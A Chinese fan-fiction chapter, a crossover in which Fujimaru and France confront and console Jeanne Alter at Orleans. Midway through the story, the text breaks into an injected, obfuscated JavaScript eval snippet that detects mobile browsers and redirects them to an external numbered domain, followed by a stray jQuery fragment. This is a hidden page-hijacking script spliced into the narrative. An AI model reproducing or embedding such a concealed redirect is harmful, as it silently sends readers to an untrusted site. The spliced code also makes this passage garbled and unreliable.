“这么快就要到决战了啊。”
罗马尼在管制室端着咖啡,语气复杂地开口。
“是啊,”刚刚做好指挥规划的藤丸立香端着热水靠在树上和罗马尼一起感叹。
“你在感叹什么啊!”罗马尼拍桌,“你的战术规划就是所有人一起莽上去就行了吗?”
藤丸立香:“所有人一起上不也是一种规划吗?”
罗马尼:“这就是你说的艰难历程吗?”
藤丸立香忧郁地撩了一下不存在的头发,当他抬眼时似乎四周都飘出了鲜花特效。
“医生,你不懂。”
他忧郁仰头45度角仰望天空。
“这一趟旅途的酸甜苦辣只有我一人知道。”
罗马尼,“好笑吗,我只看到一个人能打得过的用等级碾过去,打不过的直接逃得人都追不上。”
藤丸立香:哎嘿~
“哎嘿什么啊!这一路上的甜甜甜甜只有你一人知道吧!”
藤丸立香振臂一挥,“进军!前往奥尔良!”
所有人:“好耶!”
被遗忘的白贞:等等,你们开团没带我啊!
被黑贞狂化的野生塔喵像是葫芦娃救爷爷一样第一个出现了!
还没等塔喵开口,藤丸立香先振臂一挥。
“上吧!我们人多,给她看看什么是正义的群殴!”
“噢噢噢噢噢噢噢!”
所有人围了上去。
片刻后,被打爆了的塔喵躺在地上,双手合十,空洞的眼睛望天。
“真是的,真是一件麻烦的事情。”失去希望的塔喵喃喃自语。
说完她看向藤丸立香的方向,“下次,如果下次还有机会的话,我也要站在你那边,看一下什么是正义的围殴。”
藤丸立香抓住她的手,“放心吧,下次一定。”
塔喵安详地走了。
监控那边的罗马尼发出了预警。
“这里检测到高危反应向你们那里赶来,应该是黑色的贞德要来了!”
藤丸立香抬头,看见黑压压的双足飞龙朝他们压过来。
决战终于要开始了。
其他人拦住了大公、迪昂和术元帅,藤丸立香和弗朗西斯终于来到了黑贞眼前。
藤丸立香拿着板砖,跃跃欲试。
比起只想塔塔开的藤丸立香,弗朗西斯更想弄清楚为什么他曾经熟悉的救国圣女会变成这样。
“为什么?”
面对这个问题,黑贞发出一声嗤笑。
“难道你以为谁都一定要像我一样傻乎乎地为了这个国家献出生命吗?”
黑贞冷漠地扫了一眼自己生前为之努力后又被背叛的国家的化身。
“我憎恨着,愤怒着,因为你,我不是那个被烧死后还会原谅所有人的白色的贞德,我要用我的怒火,把我眼前的一切全部燃烧殆尽!”
弗朗西斯似乎想要说什么,却被黑贞咆哮的火焰打断了。
藤丸立香拿着板砖想要上去给黑贞一个人格修正砖,但是弗朗西斯和黑贞两个人打得有来有回,藤丸立香根本瞄不准。
这游戏.......有没有友伤这种东西来着?
我得找找。
藤丸立香就这么在乱糟糟的战场上坐了下来,扒拉出游戏界面,仔细翻找了起来。
弗朗西斯和黑贞的战斗也有了结果。
黑贞的长剑洞穿了弗朗西斯的腹部,弗朗西斯顺势牢牢地抓住了黑贞,手臂贯穿了她的胸膛。
但是离奇的是,黑贞身上并没有鲜血流下来。
黑贞感到自己身上的魔力在快速地流失,她大惊,金色的眼睛对上了弗朗西斯鸢尾色的、此刻满是认真的眼睛。
“你做了什么!为什么我的魔力不听使唤了!”
弗朗西斯没有回答,而是继续抓紧了黑贞体内的圣杯。
“我就说为什么我感觉到你和其他人有着完全不一样的能量波动,原来是里面有这个东西在搞鬼!”
黑贞看着从自己身体里面抽出的圣杯,声音有些颤抖,“这是......什么意思?我是被吉尔制造出来的?!”
她继而愤怒地冲着弗朗西斯咆哮。
“为什么不杀了我!你刚刚明明有那个能力杀了我!你为什么不杀我!明明我现在的行为才是法兰西的罪人,你作为这个国家的意识体,你为什么不为了你的国民杀了我!”
她的声音已经近乎是在嘶吼了。
“我怎么可能对我的贞德痛下杀手呢?”弗朗西斯温暖的手按在黑贞的后脑上。
是温暖的,带着阳光一样温暖的温度。
和杀死她的凄厉的火焰完全不一样的温度。
“你对我的愤怒完全是有理由的,现在我得先对你说一句抱歉啊。”
“作为被你守护的国家,我必须得对你说一声谢谢,作为看着你死去的弗朗西斯,我必须要对你说一句对不起。”
“1431年5月30日,一个被国王放弃的少女被执行火刑。”黑贞和弗朗西斯一起脱口而出。
“不过能在你死去以后再次看到你,真是太好了!”
“哥哥我真的,非常高兴。”
那是眼泪吗?
黑贞看着眼前那双鸢尾花海一般的眼睛慢慢蒙上水雾。
假的吧,明明没有救下我,明明现在的我是为了实现吉尔的愿望而被制造出来的赝品......
但是为什么这颗被人为许愿制造出来的心脏也会感到疼痛呢?
“被历史玩弄的人们,如果能作为普通人降生、恋爱,下辈子在别处享受幸福人生就好了。”弗朗西斯看着眼前的黑贞,许下了这样的愿望。
“这是什么,诅咒吗?”
黑贞还在嘴硬,但是她的声音已经开始颤抖。
“这样的愿望,我怎么可能得到幸福,光是一个百年战争都断断续续打了将一百年,就算我有下辈子,不也会走上我自己的老路吗?”
“满怀希望地站起来,然后被人背叛,被舍弃,最后毫无意义地悲惨死去。”
“贞德的死才不是毫无意义的。”弗朗西斯纠正,“在贞德这里,法兰西终于成为了一个民族的称号,在这以后,中世纪才可以结束。”
“这么来看,小贞德确确实实一次次都在挽救哥哥于水火之中啊。”
“而且,不会遗忘,法兰西不会忘了你,被你救下的人民不会忘了你,我也不会忘了你,”弗朗西斯把手放在黑贞的耳朵边,黑贞似乎听到了什么声音,来自后世之人的声音。
“这就是圣女贞德吧!”
“真是很厉害的人物啊!”
“几乎是以她的一己之力扭转了整个英法百年战争的最后阶段呢!”
“如果没有她,现在的生活也不会这么好了吧。”
黑贞的眼前似乎又出现了她从未见过的画面,似乎是什么盛大的场景,在流淌的塞纳河畔,身披银甲的女骑士骑着白马,如同月光一样划破天空,越过塞纳河,旗帜在她身后飘扬。
黑贞能够认出来,这就是她自己。
“那又怎么样......”
黑贞声音颤抖,但还是用讥讽的语气开口,“这又是后世哪个不愁吃喝的皇室大小姐在这种聚会上为了夺取别人的实现来扮演我的样子?”
“不是什么皇室血统,也不是什么大小姐。”弗朗西斯的额头抵上了黑贞的额头,“多年以后,这个国家再也没有了皇帝,也没有贵族,不会再有是否是巫女的争论,不会再有人因为莫须有的罪名被绑上审判台,你害怕的、恐惧的、愤怒的一切,都不会再出现了。”
弗朗西斯拉住黑贞的手,按在了被黑贞穿透的腹部的伤口上。
“你知道这里是哪里吗?”弗朗西斯笑着问。
“这里是奥尔良,你的故乡。在这里哪怕是最普通的女孩也可以上学认字,去追寻她想要的生活。”
“这就是我对你的,所有期望。”
“以及......我还想对你说的最后一句。”
弗朗西斯已经开始消散了,但他脸上依旧带着法国海岸五月阳光一样明媚的笑容。
“从今往后,我们都是永恒的了。”
“哐当”一声,被拿出黑贞体内的圣杯掉落在地上。
愤怒从她金色的眼睛里消失,眼泪终于滑落。
藤丸立香没有在系统界面找到友伤控制开关。
当他抬头的时候,只看见消散的灵子和跪坐在地上掩面落泪的黑贞
藤丸立香:哎?发生什么事了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442790|185038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
藤丸立香还在疑惑,一个圣杯递到了他的面前。
“这是给我的吗?!”藤丸立香惊喜地说。
“嗯,给你的。”黑贞擦掉脸上的泪水,“反正我现在要它也没用了。”
藤丸立香:那好啊,给我啊,我有用。
但在圣杯这么大的诱惑面前,藤丸立香还是犹豫了一下。
“你在这个特异点不是靠术元帅用圣杯许愿出来的吗,你把圣杯给了我,你自己没问题吧?”
黑贞撇过头,“有问题也不管了。”
“反正我只是吉尔许愿出来的,圣女贞德的赝品,自然比不上那个白色的家伙,死就死了,再死一次也无所谓。”
藤丸立香靠近,两只手“啪”的一声重重按在黑贞脸上,强迫她转头看着自己。
“什么叫只是一个赝品?嗯?难道现在站在我面前的这个贞德是假的吗?”
藤丸立香温柔的蓝色眼睛看着黑贞,像是蓝色的大海,能够容纳一切的汪洋。
“我当然是假的!”黑贞握紧拳头,“你还要我怎么样,我完全做不到像真正的贞德一样,能够笑着饶恕那些对着我冷眼旁观的人!我做不到!吉尔创造出来的我内心里面全是愤怒,根本做不到宽恕这种事情!”
“为什么要原谅?”藤丸立香歪着头,问了黑贞这个问题。
“哎?”黑贞抬起头,和藤丸立香对视,“你不应该开解我,然后跟我说人民是无罪的,我的复仇的行为是错误的吗?”
藤丸立香疑惑地继续发问,“我为什么要让一个受害者去原谅?”
藤丸立香捧住黑贞的脸,“因为我没有经历过你所受到的一切,我没有经历过你的背叛,我没有经历过你的死亡,我没有经历过你的绝望。所以我没有资格叫你去原谅所有人。”
“愤怒是合理的,是被背叛者对背叛自己的人的愤怒。”
“怨恨是合理的,是守护者一腔热血错付后产生的对自己曾经守护过的一切自然产生的怨恨。”
“痛苦是合理的,因为你本来可以有属于你的未来,你本来还有很多种选择,是他们不顾一切地剥夺了本来属于你的未来。”
“所以你所有的一切情感都是合理的。”
黑贞看着藤丸立香如同大海一样的漂亮的眼睛,突然想起了自己曾经的梦想。
想去看一看大海。
想去看一看那个传说中的,蓝色的,仿佛可以包容一切的大海。
但是现在黑贞才想起来,包容一切的大海这个概念本身就是错误的。
大海包容一切是没错,但它包括的同时有着死亡这一个概念。
大海,作为现在还存在着人类禁足的区域,平等地将死亡的概念赋予每一个妄图挑战它权威的愚者。
作为孕育着生命最开始的摇篮,它给一切带来了生命,又平等地将死亡的概念还给所有被它带来世界的生命。
被包容了。
黑贞默默呢喃。
自己的所有人类最卑劣的情绪,在这一刻,被藤丸立香像大海一样包容了。
没有反驳自己情绪产生的合理性,而是被准确地告知了自己所有情绪都是可以存在的。
“你还记得你是谁吗?”藤丸立香这么问到。
“我是......”黑贞顿了一下,“我是来自奥尔良的......一个村姑。”
她没有承认自己圣女贞德的身份,而是回答了自己最开始降生到这个世界上的时候带着的身份。
“那不就得了!”藤丸立香捏了捏黑贞的脸。
“你,奥尔良的让娜·达尔克,我,普通高中生藤丸立香,我们和那些带着天命降生的天生的英雄或王者不一样,我们的未来是我们自己的选择决定的,在抛弃了救世的圣女或者人类最后的御主之类的头衔以后,我们就只是一个普通人,一个想要为自己的世界做一些什么的普通人。”
“而普通人,自然拥有可以产生所有情绪的权力。普通人可以哭,可以笑,可以肆意地发泄自己大脑产生的所有情绪,在作为普通人的这一刻,存在情绪这件事情是合理的,是我们人类诞生时就拥有的权力。”
“而你,我的黑贞,不要忘了,在成为英灵之前,你也只是一个贯彻了自己选择的普通人。”